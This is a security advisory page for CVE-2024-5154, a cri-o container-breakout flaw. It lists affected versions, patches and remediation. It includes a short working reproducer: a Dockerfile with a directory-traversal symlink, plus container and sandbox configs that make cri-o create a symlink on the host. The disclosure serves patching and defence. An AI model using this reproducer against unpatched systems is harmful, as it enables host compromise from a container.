CVE-2024-5154: Cri-o: malicious container can create symlink on host

Published May 13, 2024
·
Updated

Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile: FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .

and this container config:

{ "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } }

and this sandbox config { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "securitycontext": { "namespaceoptions": { "network": 2 } } } }

will create a file on host /host/mtab

Patches 1.30.1, 1.29.5, 1.28.7

Workarounds Unfortunately not

References Are there any links users can visit to find out more?

Other sources

A container breakout was reported in cri-o, where a malicious container image can trick cri-o into creating a symlink on the host. The reproducer that was provided created the following symlink: /root/mtab -> /proc/mounts.

Red Hat

A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.

NVD

Affected Software

16 affected componentsFixes available
go/github.com/cri-o/cri-o>=1.30.0<1.30.1
1.30.1
go/github.com/cri-o/cri-o>=1.29.4<1.29.5
1.29.5
go/github.com/cri-o/cri-o>=1.28.6<1.28.7
1.28.7
redhat/cri-o<1.30.1
1.30.1
redhat/cri-o<1.29.5
1.29.5
Kubernetes CRI-O=1.28.6
Kubernetes CRI-O=1.29.4
Kubernetes CRI-O=1.30.0
All of the following
Any of the following
redhat OpenShift Container Platform=3.11
redhat OpenShift Container Platform=4.0
redhat OpenShift Container Platform=4.12
redhat OpenShift Container Platform=4.13
redhat OpenShift Container Platform=4.14
redhat OpenShift Container Platform=4.15
Any of the following
redhat Enterprise Linux=8.0
redhat Enterprise Linux=9.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade redhat/cri-o to a version that resolves this vulnerability.

    Fixed in 1.30.1
  2. Upgrade

    Upgrade redhat/cri-o to a version that resolves this vulnerability.

    Fixed in 1.29.5
  3. Upgrade

    Upgrade redhat/cri-o to a version that resolves this vulnerability.

    Fixed in 1.28.7
  4. Upgrade

    Upgrade go/github.com/cri-o/cri-o to a version that resolves this vulnerability.

    Fixed in 1.30.1
  5. Upgrade

    Upgrade go/github.com/cri-o/cri-o to a version that resolves this vulnerability.

    Fixed in 1.29.5
  6. Upgrade

    Upgrade go/github.com/cri-o/cri-o to a version that resolves this vulnerability.

    Fixed in 1.28.7

Event History

Jun 4, 2024
Advisory Published
via GitHub·06:12 PM
Data Sourced
via GitHub·06:12 PM
DescriptionSeverityWeaknessAffected Software
Jun 12, 2024
CVE Published
via MITRE·08:51 AM
Data Sourced
via MITRE·08:51 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:15 AM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-5154?

CVE-2024-5154 is classified as a high severity vulnerability.

2

How do I fix CVE-2024-5154?

To fix CVE-2024-5154, upgrade to cri-o versions 1.30.1, 1.29.5, or 1.28.7.

3

What is the impact of CVE-2024-5154?

CVE-2024-5154 allows a malicious container to influence the host system by exploiting certain code in cri-o.

4

Which software versions are affected by CVE-2024-5154?

CVE-2024-5154 affects cri-o versions 1.30.0 and earlier, 1.29.4 and earlier, and 1.28.6 and earlier.

5

Is CVE-2024-5154 exploitable in all environments?

CVE-2024-5154 may be exploitable in environments running affected versions of cri-o without the recommended patches.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203